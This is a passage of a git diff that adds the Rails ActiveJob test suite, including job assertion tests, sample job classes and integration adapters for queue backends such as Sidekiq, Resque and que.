+    assert_performed_with(job: HelloJob, at: Date.tomorrow.noon) do
+      HelloJob.set(wait_until: Date.tomorrow.noon).perform_later
+    end
+
+    assert_raise ActiveSupport::TestCase::Assertion do
+      assert_performed_with(job: HelloJob, at: Date.today.noon) do
+        HelloJob.set(wait_until: Date.tomorrow.noon).perform_later
+      end
+    end
+  end
+
+  def test_assert_performed_job_with_global_id_args
+    ricardo = Person.new(9)
+    assert_performed_with(job: HelloJob, args: [ricardo]) do
+      HelloJob.perform_later(ricardo)
+    end
+  end
+
+  def test_assert_performed_job_failure_with_global_id_args
+    ricardo = Person.new(9)
+    wilma = Person.new(11)
+    error = assert_raise ActiveSupport::TestCase::Assertion do
+      assert_performed_with(job: HelloJob, args: [wilma]) do
+        HelloJob.perform_later(ricardo)
+      end
+    end
+
+    assert_equal "No performed job found with {:job=>HelloJob, :args=>[#{wilma.inspect}]}", error.message
+  end
+
+  def test_assert_performed_job_does_not_change_jobs_count
+    assert_performed_with(job: HelloJob) do
+      HelloJob.perform_later
+    end
+
+    assert_performed_with(job: HelloJob) do
+      HelloJob.perform_later
+    end
+
+    assert_equal 2, queue_adapter.performed_jobs.count
+  end
+end
+
+class OverrideQueueAdapterTest < ActiveJob::TestCase
+  class CustomQueueAdapter < ActiveJob::QueueAdapters::TestAdapter; end
+
+  def queue_adapter_for_test
+    CustomQueueAdapter.new
+  end
+
+  def test_assert_job_has_custom_queue_adapter_set
+    assert_instance_of CustomQueueAdapter, HelloJob.queue_adapter
+  end
+end
+
+class InheritedJobTest < ActiveJob::TestCase
+  def test_queue_adapter_is_test_adapter
+    assert_instance_of ActiveJob::QueueAdapters::TestAdapter, InheritedJob.queue_adapter
+  end
+end
+
+class QueueAdapterJobTest < ActiveJob::TestCase
+  def before_setup
+    @original_autoload_paths = ActiveSupport::Dependencies.autoload_paths
+    ActiveSupport::Dependencies.autoload_paths = %w(test/jobs)
+    super
+  end
+
+  def after_teardown
+    ActiveSupport::Dependencies.autoload_paths = @original_autoload_paths
+    super
+  end
+
+  def test_queue_adapter_is_test_adapter
+    assert_instance_of ActiveJob::QueueAdapters::TestAdapter, QueueAdapterJob.queue_adapter
+  end
+end
diff --git a/activejob/test/cases/translation_test.rb b/activejob/test/cases/translation_test.rb
new file mode 100644
index 0000000000..6a0d6d3e54
--- /dev/null
+++ b/activejob/test/cases/translation_test.rb
@@ -0,0 +1,22 @@
+# frozen_string_literal: true
+
+require "helper"
+require "jobs/translated_hello_job"
+
+class TranslationTest < ActiveSupport::TestCase
+  setup do
+    JobBuffer.clear
+    I18n.available_locales = [:en, :de]
+    @job = TranslatedHelloJob.new("Johannes")
+  end
+
+  teardown do
+    I18n.available_locales = [:en]
+  end
+
+  test "it performs the job in the given locale" do
+    @job.locale = :de
+    @job.perform_now
+    assert_equal "Johannes says Guten Tag", JobBuffer.last_value
+  end
+end
diff --git a/activejob/test/helper.rb b/activejob/test/helper.rb
new file mode 100644
index 0000000000..694232d7ef
--- /dev/null
+++ b/activejob/test/helper.rb
@@ -0,0 +1,18 @@
+# frozen_string_literal: true
+
+require "active_job"
+require "support/job_buffer"
+
+GlobalID.app = "aj"
+
+@adapter = ENV["AJ_ADAPTER"] || "inline"
+puts "Using #{@adapter}"
+
+if ENV["AJ_INTEGRATION_TESTS"]
+  require "support/integration/helper"
+else
+  ActiveJob::Base.logger = Logger.new(nil)
+  require "adapters/#{@adapter}"
+end
+
+require "active_support/testing/autorun"
diff --git a/activejob/test/integration/queuing_test.rb b/activejob/test/integration/queuing_test.rb
new file mode 100644
index 0000000000..0d8aa336a6
--- /dev/null
+++ b/activejob/test/integration/queuing_test.rb
@@ -0,0 +1,117 @@
+# frozen_string_literal: true
+
+require "helper"
+require "jobs/logging_job"
+require "jobs/hello_job"
+require "jobs/provider_jid_job"
+require "active_support/core_ext/numeric/time"
+
+class QueuingTest < ActiveSupport::TestCase
+  test "should run jobs enqueued on a listening queue" do
+    TestJob.perform_later @id
+    wait_for_jobs_to_finish_for(5.seconds)
+    assert job_executed
+  end
+
+  test "should not run jobs queued on a non-listening queue" do
+    skip if adapter_is?(:inline, :async, :sucker_punch, :que)
+    old_queue = TestJob.queue_name
+
+    begin
+      TestJob.queue_as :some_other_queue
+      TestJob.perform_later @id
+      wait_for_jobs_to_finish_for(2.seconds)
+      assert_not job_executed
+    ensure
+      TestJob.queue_name = old_queue
+    end
+  end
+
+  test "should supply a wrapped class name to Sidekiq" do
+    skip unless adapter_is?(:sidekiq)
+    Sidekiq::Testing.fake! do
+      ::HelloJob.perform_later
+      hash = ActiveJob::QueueAdapters::SidekiqAdapter::JobWrapper.jobs.first
+      assert_equal "ActiveJob::QueueAdapters::SidekiqAdapter::JobWrapper", hash["class"]
+      assert_equal "HelloJob", hash["wrapped"]
+    end
+  end
+
+  test "should access provider_job_id inside Sidekiq job" do
+    skip unless adapter_is?(:sidekiq)
+    Sidekiq::Testing.inline! do
+      job = ::ProviderJidJob.perform_later
+      assert_equal "Provider Job ID: #{job.provider_job_id}", JobBuffer.last_value
+    end
+  end
+
+  test "resque JobWrapper should have instance variable queue" do
+    skip unless adapter_is?(:resque)
+    job = ::HelloJob.set(wait: 5.seconds).perform_later
+    hash = Resque.decode(Resque.find_delayed_selection { true }[0])
+    assert_equal hash["queue"], job.queue_name
+  end
+
+  test "should not run job enqueued in the future" do
+    begin
+      TestJob.set(wait: 10.minutes).perform_later @id
+      wait_for_jobs_to_finish_for(5.seconds)
+      assert_not job_executed
+    rescue NotImplementedError
+      skip
+    end
+  end
+
+  test "should run job enqueued in the future at the specified time" do
+    begin
+      TestJob.set(wait: 5.seconds).perform_later @id
+      wait_for_jobs_to_finish_for(2.seconds)
+      assert_not job_executed
+      wait_for_jobs_to_finish_for(10.seconds)
+      assert job_executed
+    rescue NotImplementedError
+      skip
+    end
+  end
+
+  test "should supply a provider_job_id when available for immediate jobs" do
+    skip unless adapter_is?(:async, :delayed_job, :sidekiq, :qu, :que, :queue_classic)
+    test_job = TestJob.perform_later @id
+    assert test_job.provider_job_id, "Provider job id should be set by provider"
+  end
+
+  test "should supply a provider_job_id when available for delayed jobs" do
+    skip unless adapter_is?(:async, :delayed_job, :sidekiq, :que, :queue_classic)
+    delayed_test_job = TestJob.set(wait: 1.minute).perform_later @id
+    assert delayed_test_job.provider_job_id, "Provider job id should by set for delayed jobs by provider"
+  end
+
+  test "current locale is kept while running perform_later" do
+    skip if adapter_is?(:inline)
+
+    begin
+      I18n.available_locales = [:en, :de]
+      I18n.locale = :de
+
+      TestJob.perform_later @id
+      wait_for_jobs_to_finish_for(5.seconds)
+      assert job_executed
+      assert_equal "de", job_executed_in_locale
+    ensure
+      I18n.available_locales = [:en]
+      I18n.locale = :en
+    end
+  end
+
+  test "should run job with higher priority first" do
+    skip unless adapter_is?(:delayed_job, :que)
+
+    wait_until = Time.now + 3.seconds
+    TestJob.set(wait_until: wait_until, priority: 20).perform_later "#{@id}.1"
+    TestJob.set(wait_until: wait_until, priority: 10).perform_later "#{@id}.2"
+    wait_for_jobs_to_finish_for(10.seconds)
+    assert job_executed "#{@id}.1"
+    assert job_executed "#{@id}.2"
+    assert job_executed_at("#{@id}.2") < job_executed_at("#{@id}.1")
+  end
+end
diff --git a/activejob/test/jobs/application_job.rb b/activejob/test/jobs/application_job.rb
new file mode 100644
index 0000000000..d92ffddcb5
--- /dev/null
+++ b/activejob/test/jobs/application_job.rb
@@ -0,0 +1,4 @@
+# frozen_string_literal: true
+
+class ApplicationJob < ActiveJob::Base
+end
diff --git a/activejob/test/jobs/callback_job.rb b/activejob/test/jobs/callback_job.rb
new file mode 100644
index 0000000000..436cb55492
--- /dev/null
+++ b/activejob/test/jobs/callback_job.rb
@@ -0,0 +1,29 @@
+# frozen_string_literal: true
+
+class CallbackJob < ActiveJob::Base
+  before_perform ->(job) { job.history << "CallbackJob ran before_perform" }
+  after_perform ->(job) { job.history << "CallbackJob ran after_perform" }
+
+  before_enqueue ->(job) { job.history << "CallbackJob ran before_enqueue" }
+  after_enqueue ->(job) { job.history << "CallbackJob ran after_enqueue" }
+
+  around_perform do |job, block|
+    job.history << "CallbackJob ran around_perform_start"
+    block.call
+    job.history << "CallbackJob ran around_perform_stop"
+  end
+
+  around_enqueue do |job, block|
+    job.history << "CallbackJob ran around_enqueue_start"
+    block.call
+    job.history << "CallbackJob ran around_enqueue_stop"
+  end
+
+  def perform(person = "david")
+    # NOTHING!
+  end
+
+  def history
+    @history ||= []
+  end
+end
diff --git a/activejob/test/jobs/gid_job.rb b/activejob/test/jobs/gid_job.rb
new file mode 100644
index 0000000000..2136f57e05
--- /dev/null
+++ b/activejob/test/jobs/gid_job.rb
@@ -0,0 +1,9 @@
+# frozen_string_literal: true
+
+require_relative "../support/job_buffer"
+
+class GidJob < ActiveJob::Base
+  def perform(person)
+    JobBuffer.add("Person with ID: #{person.id}")
+  end
+end
diff --git a/activejob/test/jobs/hello_job.rb b/activejob/test/jobs/hello_job.rb
new file mode 100644
index 0000000000..404df6150a
--- /dev/null
+++ b/activejob/test/jobs/hello_job.rb
@@ -0,0 +1,9 @@
+# frozen_string_literal: true
+
+require_relative "../support/job_buffer"
+
+class HelloJob < ActiveJob::Base
+  def perform(greeter = "David")
+    JobBuffer.add("#{greeter} says hello")
+  end
+end
diff --git a/activejob/test/jobs/inherited_job.rb b/activejob/test/jobs/inherited_job.rb
new file mode 100644
index 0000000000..14f852ed06
--- /dev/null
+++ b/activejob/test/jobs/inherited_job.rb
@@ -0,0 +1,7 @@
+# frozen_string_literal: true
+
+require_relative "application_job"
+
+class InheritedJob < ApplicationJob
+  self.queue_adapter = :inline
+end
diff --git a/activejob/test/jobs/kwargs_job.rb b/activejob/test/jobs/kwargs_job.rb
new file mode 100644
index 0000000000..b86b06bada
--- /dev/null
+++ b/activejob/test/jobs/kwargs_job.rb
@@ -0,0 +1,9 @@
+# frozen_string_literal: true
+
+require_relative "../support/job_buffer"
+
+class KwargsJob < ActiveJob::Base
+  def perform(argument: 1)
+    JobBuffer.add("Job with argument: #{argument}")
+  end
+end
diff --git a/activejob/test/jobs/logging_job.rb b/activejob/test/jobs/logging_job.rb
new file mode 100644
index 0000000000..4605fa6937
--- /dev/null
+++ b/activejob/test/jobs/logging_job.rb
@@ -0,0 +1,11 @@
+# frozen_string_literal: true
+
+class LoggingJob < ActiveJob::Base
+  def perform(dummy)
+    logger.info "Dummy, here is it: #{dummy}"
+  end
+
+  def job_id
+    "LOGGING-JOB-ID"
+  end
+end
diff --git a/activejob/test/jobs/nested_job.rb b/activejob/test/jobs/nested_job.rb
new file mode 100644
index 0000000000..aafad0dba9
--- /dev/null
+++ b/activejob/test/jobs/nested_job.rb
@@ -0,0 +1,11 @@
+# frozen_string_literal: true
+
+class NestedJob < ActiveJob::Base
+  def perform
+    LoggingJob.perform_later "NestedJob"
+  end
+
+  def job_id
+    "NESTED-JOB-ID"
+  end
+end
diff --git a/activejob/test/jobs/overridden_logging_job.rb b/activejob/test/jobs/overridden_logging_job.rb
new file mode 100644
index 0000000000..2ee363637d
--- /dev/null
+++ b/activejob/test/jobs/overridden_logging_job.rb
@@ -0,0 +1,11 @@
+# frozen_string_literal: true
+
+class OverriddenLoggingJob < ActiveJob::Base
+  def perform(dummy)
+    logger.info "Dummy, here is it: #{dummy}"
+  end
+
+  def logger
+    @logger ||= ActiveSupport::TaggedLogging.new(ActiveSupport::Logger.new(nil))
+  end
+end
diff --git a/activejob/test/jobs/provider_jid_job.rb b/activejob/test/jobs/provider_jid_job.rb
new file mode 100644
index 0000000000..dacd09afdc
--- /dev/null
+++ b/activejob/test/jobs/provider_jid_job.rb
@@ -0,0 +1,9 @@
+# frozen_string_literal: true
+
+require_relative "../support/job_buffer"
+
+class ProviderJidJob < ActiveJob::Base
+  def perform
+    JobBuffer.add("Provider Job ID: #{provider_job_id}")
+  end
+end
diff --git a/activejob/test/jobs/queue_adapter_job.rb b/activejob/test/jobs/queue_adapter_job.rb
new file mode 100644
index 0000000000..1c31a60ba2
--- /dev/null
+++ b/activejob/test/jobs/queue_adapter_job.rb
@@ -0,0 +1,5 @@
+# frozen_string_literal: true
+
+class QueueAdapterJob < ActiveJob::Base
+  self.queue_adapter = :inline
+end
diff --git a/activejob/test/jobs/queue_as_job.rb b/activejob/test/jobs/queue_as_job.rb
new file mode 100644
index 0000000000..0feee99e87
--- /dev/null
+++ b/activejob/test/jobs/queue_as_job.rb
@@ -0,0 +1,12 @@
+# frozen_string_literal: true
+
+require_relative "../support/job_buffer"
+
+class QueueAsJob < ActiveJob::Base
+  MY_QUEUE = :low_priority
+  queue_as MY_QUEUE
+
+  def perform(greeter = "David")
+    JobBuffer.add("#{greeter} says hello")
+  end
+end
diff --git a/activejob/test/jobs/rescue_job.rb b/activejob/test/jobs/rescue_job.rb
new file mode 100644
index 0000000000..d142cec1ea
--- /dev/null
+++ b/activejob/test/jobs/rescue_job.rb
@@ -0,0 +1,29 @@
+# frozen_string_literal: true
+
+require_relative "../support/job_buffer"
+
+class RescueJob < ActiveJob::Base
+  class OtherError < StandardError; end
+
+  rescue_from(ArgumentError) do
+    JobBuffer.add("rescued from ArgumentError")
+    arguments[0] = "DIFFERENT!"
+    retry_job
+  end
+
+  rescue_from(ActiveJob::DeserializationError) do |e|
+    JobBuffer.add("rescued from DeserializationError")
+    JobBuffer.add("DeserializationError original exception was #{e.cause.class.name}")
+  end
+
+  def perform(person = "david")
+    case person
+    when "david"
+      raise ArgumentError, "Hair too good"
+    when "other"
+      raise OtherError, "Bad hair"
+    else
+      JobBuffer.add("performed beautifully")
+    end
+  end
+end
diff --git a/activejob/test/jobs/retry_job.rb b/activejob/test/jobs/retry_job.rb
new file mode 100644
index 0000000000..a12d09779b
--- /dev/null
+++ b/activejob/test/jobs/retry_job.rb
@@ -0,0 +1,31 @@
+# frozen_string_literal: true
+
+require_relative "../support/job_buffer"
+require "active_support/core_ext/integer/inflections"
+
+class DefaultsError < StandardError; end
+class LongWaitError < StandardError; end
+class ShortWaitTenAttemptsError < StandardError; end
+class ExponentialWaitTenAttemptsError < StandardError; end
+class CustomWaitTenAttemptsError < StandardError; end
+class CustomCatchError < StandardError; end
+class DiscardableError < StandardError; end
+
+class RetryJob < ActiveJob::Base
+  retry_on DefaultsError
+  retry_on LongWaitError, wait: 1.hour, attempts: 10
+  retry_on ShortWaitTenAttemptsError, wait: 1.second, attempts: 10
+  retry_on ExponentialWaitTenAttemptsError, wait: :exponentially_longer, attempts: 10
+  retry_on CustomWaitTenAttemptsError, wait: ->(executions) { executions * 2 }, attempts: 10
+  retry_on(CustomCatchError) { |job, exception| JobBuffer.add("Dealt with a job that failed to retry in a custom way after #{job.arguments.second} attempts") }
+  discard_on DiscardableError
+
+  def perform(raising, attempts)
+    if executions < attempts
+      JobBuffer.add("Raised #{raising} for the #{executions.ordinalize} time")
+      raise raising.constantize
+    else
+      JobBuffer.add("Successfully completed job")
+    end
+  end
+end
diff --git a/activejob/test/jobs/translated_hello_job.rb b/activejob/test/jobs/translated_hello_job.rb
new file mode 100644
index 0000000000..a0a68b4040
--- /dev/null
+++ b/activejob/test/jobs/translated_hello_job.rb
@@ -0,0 +1,12 @@
+# frozen_string_literal: true
+
+require_relative "../support/job_buffer"
+
+class TranslatedHelloJob < ActiveJob::Base
+  def perform(greeter = "David")
+    translations = { en: "Hello", de: "Guten Tag" }
+    hello        = translations[I18n.locale]
+
+    JobBuffer.add("#{greeter} says #{hello}")
+  end
+end
diff --git a/activejob/test/models/person.rb b/activejob/test/models/person.rb
new file mode 100644
index 0000000000..9a3bfab25f
--- /dev/null
+++ b/activejob/test/models/person.rb
@@ -0,0 +1,22 @@
+# frozen_string_literal: true
+
+class Person
+  class RecordNotFound < StandardError; end
+
+  include GlobalID::Identification
+
+  attr_reader :id
+
+  def self.find(id)
+    raise RecordNotFound.new("Cannot find person with ID=404") if id.to_i == 404
+    new(id)
+  end
+
+  def initialize(id)
+    @id = id
+  end
+
+  def ==(other_person)
+    other_person.is_a?(Person) && id.to_s == other_person.id.to_s
+  end
+end
diff --git a/activejob/test/support/backburner/inline.rb b/activejob/test/support/backburner/inline.rb
new file mode 100644
index 0000000000..6c708c0b7b
--- /dev/null
+++ b/activejob/test/support/backburner/inline.rb
@@ -0,0 +1,10 @@
+# frozen_string_literal: true
+
+require "backburner"
+
+Backburner::Worker.class_eval do
+  class << self; alias_method :original_enqueue, :enqueue; end
+  def self.enqueue(job_class, args = [], opts = {})
+    job_class.perform(*args)
+  end
+end
diff --git a/activejob/test/support/delayed_job/delayed/backend/test.rb b/activejob/test/support/delayed_job/delayed/backend/test.rb
new file mode 100644
index 0000000000..4721c1cc17
--- /dev/null
+++ b/activejob/test/support/delayed_job/delayed/backend/test.rb
@@ -0,0 +1,112 @@
+# frozen_string_literal: true
+
+#copied from https://github.com/collectiveidea/delayed_job/blob/master/spec/delayed/backend/test.rb
+require "ostruct"
+
+# An in-memory backend suitable only for testing. Tries to behave as if it were an ORM.
+module Delayed
+  module Backend
+    module Test
+      class Job
+        attr_accessor :id
+        attr_accessor :priority
+        attr_accessor :attempts
+        attr_accessor :handler
+        attr_accessor :last_error
+        attr_accessor :run_at
+        attr_accessor :locked_at
+        attr_accessor :locked_by
+        attr_accessor :failed_at
+        attr_accessor :queue
+
+        include Delayed::Backend::Base
+
+        cattr_accessor :id, default: 0
+
+        def initialize(hash = {})
+          self.attempts = 0
+          self.priority = 0
+          self.id = (self.class.id += 1)
+          hash.each { |k, v| send(:"#{k}=", v) }
+        end
+
+        @jobs = []
+        def self.all
+          @jobs
+        end
+
+        def self.count
+          all.size
+        end
+
+        def self.delete_all
+          all.clear
+        end
+
+        def self.create(attrs = {})
+          new(attrs).tap(&:save)
+        end
+
+        def self.create!(*args); create(*args); end
+
+        def self.clear_locks!(worker_name)
+          all.select { |j| j.locked_by == worker_name }.each { |j| j.locked_by = nil; j.locked_at = nil }
+        end
+
+        # Find a few candidate jobs to run (in case some immediately get locked by others).
+        def self.find_available(worker_name, limit = 5, max_run_time = Worker.max_run_time)
+          jobs = all.select do |j|
+            j.run_at <= db_time_now &&
+            (j.locked_at.nil? || j.locked_at < db_time_now - max_run_time || j.locked_by == worker_name) &&
+            !j.failed?
+          end
+
+          jobs = jobs.select { |j| Worker.queues.include?(j.queue) }   if Worker.queues.any?
+          jobs = jobs.select { |j| j.priority >= Worker.min_priority } if Worker.min_priority
+          jobs = jobs.select { |j| j.priority <= Worker.max_priority } if Worker.max_priority
+          jobs.sort_by { |j| [j.priority, j.run_at] }[0..limit - 1]
+        end
+
+        # Lock this job for this worker.
+        # Returns true if we have the lock, false otherwise.
+        def lock_exclusively!(max_run_time, worker)
+          now = self.class.db_time_now
+          if locked_by != worker
+            # We don't own this job so we will update the locked_by name and the locked_at
+            self.locked_at = now
+            self.locked_by = worker
+          end
+
+          return true
+        end
+
+        def self.db_time_now
+          Time.current
+        end
+
+        def update_attributes(attrs = {})
+          attrs.each { |k, v| send(:"#{k}=", v) }
+          save
+        end
+
+        def destroy
+          self.class.all.delete(self)
+        end
+
+        def save
+          self.run_at ||= Time.current
+
+          self.class.all << self unless self.class.all.include?(self)
+          true
+        end
+
+        def save!; save; end
+
+        def reload
+          reset
+          self
+        end
+      end
+    end
+  end
+end
diff --git a/activejob/test/support/delayed_job/delayed/serialization/test.rb b/activejob/test/support/delayed_job/delayed/serialization/test.rb
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/activejob/test/support/delayed_job/delayed/serialization/test.rb
diff --git a/activejob/test/support/integration/adapters/async.rb b/activejob/test/support/integration/adapters/async.rb
new file mode 100644
index 0000000000..ba9674d7a1
--- /dev/null
+++ b/activejob/test/support/integration/adapters/async.rb
@@ -0,0 +1,12 @@
+# frozen_string_literal: true
+
+module AsyncJobsManager
+  def setup
+    ActiveJob::Base.queue_adapter = :async
+    ActiveJob::Base.queue_adapter.immediate = false
+  end
+
+  def clear_jobs
+    ActiveJob::Base.queue_adapter.shutdown
+  end
+end
diff --git a/activejob/test/support/integration/adapters/backburner.rb b/activejob/test/support/integration/adapters/backburner.rb
new file mode 100644
index 0000000000..eb179011d9
--- /dev/null
+++ b/activejob/test/support/integration/adapters/backburner.rb
@@ -0,0 +1,39 @@
+# frozen_string_literal: true
+
+module BackburnerJobsManager
+  def setup
+    ActiveJob::Base.queue_adapter = :backburner
+    Backburner.configure do |config|
+      config.logger = Rails.logger
+    end
+    unless can_run?
+      puts "Cannot run integration tests for backburner. To be able to run integration tests for backburner you need to install and start beanstalkd.\n"
+      exit
+    end
+  end
+
+  def clear_jobs
+    tube.clear
+  end
+
+  def start_workers
+    @thread = Thread.new { Backburner.work "integration-tests" } # backburner dasherizes the queue name
+  end
+
+  def stop_workers
+    @thread.kill
+  end
+
+  def tube
+    @tube ||= Beaneater::Tube.new(@worker.connection, "backburner.worker.queue.integration-tests") # backburner dasherizes the queue name
+  end
+
+  def can_run?
+    begin
+      @worker = Backburner::Worker.new
+    rescue
+      return false
+    end
+    true
+  end
+end
diff --git a/activejob/test/support/integration/adapters/delayed_job.rb b/activejob/test/support/integration/adapters/delayed_job.rb
new file mode 100644
index 0000000000..ae5de78b60
--- /dev/null
+++ b/activejob/test/support/integration/adapters/delayed_job.rb
@@ -0,0 +1,22 @@
+# frozen_string_literal: true
+
+require "delayed_job"
+require "delayed_job_active_record"
+
+module DelayedJobJobsManager
+  def setup
+    ActiveJob::Base.queue_adapter = :delayed_job
+  end
+  def clear_jobs
+    Delayed::Job.delete_all
+  end
+
+  def start_workers
+    @worker = Delayed::Worker.new(quiet: true, sleep_delay: 0.5, queues: %w(integration_tests))
+    @thread = Thread.new { @worker.start }
+  end
+
+  def stop_workers
+    @worker.stop
+  end
+end
diff --git a/activejob/test/support/integration/adapters/inline.rb b/activejob/test/support/integration/adapters/inline.rb
new file mode 100644
index 0000000000..10a97fb941
--- /dev/null
+++ b/activejob/test/support/integration/adapters/inline.rb
@@ -0,0 +1,16 @@
+# frozen_string_literal: true
+
+module InlineJobsManager
+  def setup
+    ActiveJob::Base.queue_adapter = :inline
+  end
+
+  def clear_jobs
+  end
+
+  def start_workers
+  end
+
+  def stop_workers
+  end
+end
diff --git a/activejob/test/support/integration/adapters/qu.rb b/activejob/test/support/integration/adapters/qu.rb
new file mode 100644
index 0000000000..67db03e279
--- /dev/null
+++ b/activejob/test/support/integration/adapters/qu.rb
@@ -0,0 +1,40 @@
+# frozen_string_literal: true
+
+module QuJobsManager
+  def setup
+    require "qu-rails"
+    require "qu-redis"
+    ActiveJob::Base.queue_adapter = :qu
+    ENV["REDISTOGO_URL"] = "redis://127.0.0.1:6379/12"
+    backend = Qu::Backend::Redis.new
+    backend.namespace = "active_jobs_int_test"
+    Qu.backend  = backend
+    Qu.logger   = Rails.logger
+    Qu.interval = 0.5
+    unless can_run?
+      puts "Cannot run integration tests for qu. To be able to run integration tests for qu you need to install and start redis.\n"
+      exit
+    end
+  end
+
+  def clear_jobs
+    Qu.clear "integration_tests"
+  end
+
+  def start_workers
+    @thread = Thread.new { Qu::Worker.new("integration_tests").start }
+  end
+
+  def stop_workers
+    @thread.kill
+  end
+
+  def can_run?
+    begin
+      Qu.backend.connection.client.connect
+    rescue
+      return false
+    end
+    true
+  end
+end
diff --git a/activejob/test/support/integration/adapters/que.rb b/activejob/test/support/integration/adapters/que.rb
new file mode 100644
index 0000000000..2a771b08c7
--- /dev/null
+++ b/activejob/test/support/integration/adapters/que.rb
@@ -0,0 +1,41 @@
+# frozen_string_literal: true
+
+module QueJobsManager
+  def setup
+    require "sequel"
+    ActiveJob::Base.queue_adapter = :que
+    Que.mode = :off
+    Que.worker_count = 1
+  end
+
+  def clear_jobs
+    Que.clear!
+  end
+
+  def start_workers
+    que_url = ENV["QUE_DATABASE_URL"] || "postgres:///active_jobs_que_int_test"
+    uri = URI.parse(que_url)
+    user = uri.user || ENV["USER"]
+    pass = uri.password
+    db   = uri.path[1..-1]
+    %x{#{"PGPASSWORD=\"#{pass}\"" if pass} psql -c 'drop database if exists "#{db}"' -U #{user} -t template1}
+    %x{#{"PGPASSWORD=\"#{pass}\"" if pass} psql -c 'create database "#{db}"' -U #{user} -t template1}
+    Que.connection = Sequel.connect(que_url)
+    Que.migrate!
+
+    @thread = Thread.new do
+      loop do
+        Que::Job.work
+        sleep 0.5
+      end
+    end
+
+  rescue Sequel::DatabaseConnectionError
+    puts "Cannot run integration tests for que. To be able to run integration tests for que you need to install and start postgresql.\n"
+    exit
+  end
+
+  def stop_workers
+    @thread.kill
+  end
+end
diff --git a/activejob/test/support/integration/adapters/queue_classic.rb b/activejob/test/support/integration/adapters/queue_classic.rb
new file mode 100644
index 0000000000..1b0685a971
--- /dev/null
+++ b/activejob/test/support/integration/adapters/queue_classic.rb
@@ -0,0 +1,39 @@
+# frozen_string_literal: true
+
+module QueueClassicJobsManager
+  def setup
+    ENV["QC_DATABASE_URL"] ||= "postgres:///active_jobs_qc_int_test"
+    ENV["QC_RAILS_DATABASE"] = "false"
+    ENV["QC_LISTEN_TIME"]    = "0.5"
+    ActiveJob::Base.queue_adapter = :queue_classic
+  end
+
+  def clear_jobs
+    QC::Queue.new("integration_tests").delete_all
+  end
+
+  def start_workers
+    uri = URI.parse(ENV["QC_DATABASE_URL"])
+    user = uri.user || ENV["USER"]
+    pass = uri.password
+    db   = uri.path[1..-1]
+    %x{#{"PGPASSWORD=\"#{pass}\"" if pass} psql -c 'drop database if exists "#{db}"' -U #{user} -t template1}
+    %x{#{"PGPASSWORD=\"#{pass}\"" if pass} psql -c 'create database "#{db}"' -U #{user} -t template1}
+    QC::Setup.create
+
+    QC.default_conn_adapter.disconnect
+    QC.default_conn_adapter = nil
+    @pid = fork do
+      worker = QC::Worker.new(q_name: "integration_tests")
+      worker.start
+    end
+
+  rescue PG::ConnectionBad
+    puts "Cannot run integration tests for queue_classic. To be able to run integration tests for queue_classic you need to install and start postgresql.\n"
+    exit
+  end
+
+  def stop_workers
+    Process.kill "HUP", @pid
+  end
+end
diff --git a/activejob/test/support/integration/adapters/resque.rb b/activejob/test/support/integration/adapters/resque.rb
new file mode 100644
index 0000000000..484b476567
--- /dev/null
+++ b/activejob/test/support/integration/adapters/resque.rb
@@ -0,0 +1,51 @@
+# frozen_string_literal: true
+
+module ResqueJobsManager
+  def setup
+    ActiveJob::Base.queue_adapter = :resque
+    Resque.redis = Redis::Namespace.new "active_jobs_int_test", redis: Redis.connect(url: "redis://:password@127.0.0.1:6379/12", thread_safe: true)
+    Resque.logger = Rails.logger
+    unless can_run?
+      puts "Cannot run integration tests for resque. To be able to run integration tests for resque you need to install and start redis.\n"
+      exit
+    end
+  end
+
+  def clear_jobs
+    Resque.queues.each { |queue_name| Resque.redis.del "queue:#{queue_name}" }
+    Resque.redis.keys("delayed:*").each  { |key| Resque.redis.del "#{key}" }
+    Resque.redis.del "delayed_queue_schedule"
+  end
+
+  def start_workers
+    @resque_thread = Thread.new do
+      w = Resque::Worker.new("integration_tests")
+      w.term_child = true
+      w.work(0.5)
+    end
+    @scheduler_thread = Thread.new do
+      Resque::Scheduler.configure do |c|
+        c.poll_sleep_amount = 0.5
+        c.dynamic = true
+        c.quiet = true
+        c.logfile = nil
+      end
+      Resque::Scheduler.master_lock.release!
+      Resque::Scheduler.run
+    end
+  end
+
+  def stop_workers
+    @resque_thread.kill
+    @scheduler_thread.kill
+  end
+
+  def can_run?
+    begin
+      Resque.redis.client.connect
+    rescue
+      return false
+    end
+    true
+  end
+end
diff --git a/activejob/test/support/integration/adapters/sidekiq.rb b/activejob/test/support/integration/adapters/sidekiq.rb
new file mode 100644
index 0000000000..b63d16d248
--- /dev/null
+++ b/activejob/test/support/integration/adapters/sidekiq.rb
@@ -0,0 +1,104 @@
+# frozen_string_literal: true
+
+require "sidekiq/api"
+
+require "sidekiq/testing"
+Sidekiq::Testing.disable!
+
+Sidekiq.configure_server do |config|
+  config.redis = { url: "redis://:password@127.0.0.1:6379/12" }
+end
+
+Sidekiq.configure_client do |config|
+  config.redis = { url: "redis://:password@127.0.0.1:6379/12" }
+end
+
+module SidekiqJobsManager
+  def setup
+    ActiveJob::Base.queue_adapter = :sidekiq
+    unless can_run?
+      puts "Cannot run integration tests for sidekiq. To be able to run integration tests for sidekiq you need to install and start redis.\n"
+      exit
+    end
+  end
+
+  def clear_jobs
+    Sidekiq::ScheduledSet.new.clear
+    Sidekiq::Queue.new("integration_tests").clear
+  end
+
+  def start_workers
+    continue_read, continue_write = IO.pipe
+    death_read, death_write = IO.pipe
+
+    @pid = fork do
+      continue_read.close
+      death_write.close
+
+      # Sidekiq is not warning-clean :(
+      $VERBOSE = false
+
+      $stdin.reopen("/dev/null")
+      $stdout.sync = true
+      $stderr.sync = true
+
+      logfile = Rails.root.join("log/sidekiq.log").to_s
+      Sidekiq::Logging.initialize_logger(logfile)
+
+      self_read, self_write = IO.pipe
+      trap "TERM" do
+        self_write.puts("TERM")
+      end
+
+      Thread.new do
+        begin
+          death_read.read
+        rescue Exception
+        end
+        self_write.puts("TERM")
+      end
+
+      require "sidekiq/launcher"
+      sidekiq = Sidekiq::Launcher.new(queues: ["integration_tests"],
+                                       environment: "test",
+                                       concurrency: 1,
+                                       timeout: 1)
+      Sidekiq.average_scheduled_poll_interval = 0.5
+      Sidekiq.options[:poll_interval_average] = 1
+      begin
+        sidekiq.run
+        continue_write.puts "started"
+        while readable_io = IO.select([self_read])
+          signal = readable_io.first[0].gets.strip
+          raise Interrupt if signal == "TERM"
+        end
+      rescue Interrupt
+      end
+
+      sidekiq.stop
+      exit!
+    end
+    continue_write.close
+    death_read.close
+    @worker_lifeline = death_write
+
+    raise "Failed to start worker" unless continue_read.gets == "started\n"
+  end
+
